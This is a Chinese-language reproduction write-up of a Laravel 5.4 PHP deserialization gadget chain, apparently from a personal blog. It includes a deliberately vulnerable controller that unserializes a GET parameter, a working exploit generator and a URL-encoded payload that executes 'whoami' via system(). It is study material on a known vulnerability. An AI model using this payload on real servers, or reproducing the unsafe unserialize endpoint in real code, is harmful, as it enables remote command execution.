前言：CC 链复现的头晕，还是从简单的 Laravel 开始吧。

laravel 版本：5.4

0x01 环境搭建

laravel安装包下载地址

安装后配置验证页面。在 /routes/web.php 文件中添加一条路由，原先的路由注释

Route::get("/","\App\Http\Controllers\POPController@test");

然后在/app/Http/Controllers/下添加 POPController 控制器。函数名要和路由里写的一样

<?php
namespace App\Http\Controllers;class POPController extends Controller{public function test(){if(isset($_GET['test'])){unserialize($_GET['test']);}else{echo "Welcome!";}}
}

访问页面看到 welcome 即配置正确

0x02 POP 链

一般来说我们寻找序列化漏洞，都是从__destruct()或者__wakeup()开始的。

这里找的入口点是 PendingBroadcast.php 里的 PendingBroadcast 类的 __destruct() 方法，而且 $this->events，$this->event 可控。

    public function __destruct(){$this->events->dispatch($this->event);}

到这里我们要继续往回找一般有两种思路。

1. 找某个类的 __call 方法，且这个类没有 dispatch 方法
2. 找某个类存在 dispatch 方法

这里选择第一个思路，找到了 Faker\Generator （听说 yii 的链子也有这个，有机会复现一下）

__call() //在对象上下文中调用不可访问的方法时触发,第一个参数是方法，第二个参数是方法里参数组成的数组

    public function __call($method, $attributes){return $this->format($method, $attributes);}

$method，$attributes 都可控，就是 PendingBroadcast 类的 __destruct() 方法的 $this->events，$this->event。

继续跟进 $this->format 方法

    public function format($formatter, $arguments = array()){return call_user_func_array($this->getFormatter($formatter), $arguments);}

漏洞点就在这个 call_user_func_array 上了，$formatter, $arguments 可控，跟进 $this->getFormatter 方法

    public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {return $this->formatters[$formatter];}foreach ($this->providers as $provider) {if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];}}throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));}

可以发现$this->formatters[$formatter]我们可以控制，然后直接 return

构造一下链子

Illuminate\Broadcasting\PendingBroadcastL::__destruct -> Faker\Generator::dispatch -> Faker\Generator::__call -> Faker\Generator::format -> call_user_func_array

0x03 exp

<?php
namespace Illuminate\Broadcasting{class PendingBroadcast{public function __construct($events, $event){$this->event = $event;$this->events = $events;}}
}namespace Faker{class Generator{protected $formatters = array();public function __construct($fun){$this -> formatters = ["dispatch" => $fun];}}
}namespace {$a = new Faker\Generator("system");$b = new Illuminate\Broadcasting\PendingBroadcast($a,"whoami");echo urlencode(serialize($b));
}

payload：

test=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A5%3A%22event%22%3Bs%3A6%3A%22whoami%22%3Bs%3A6%3A%22events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D

0x04 总结

复现的第一条 php 的链子，真的比 java 友好太多了 555。另外不止这一条链子，这位师傅给了4条

Laravel5.4 反序列化漏洞挖掘 - 先知社区 (aliyun.com)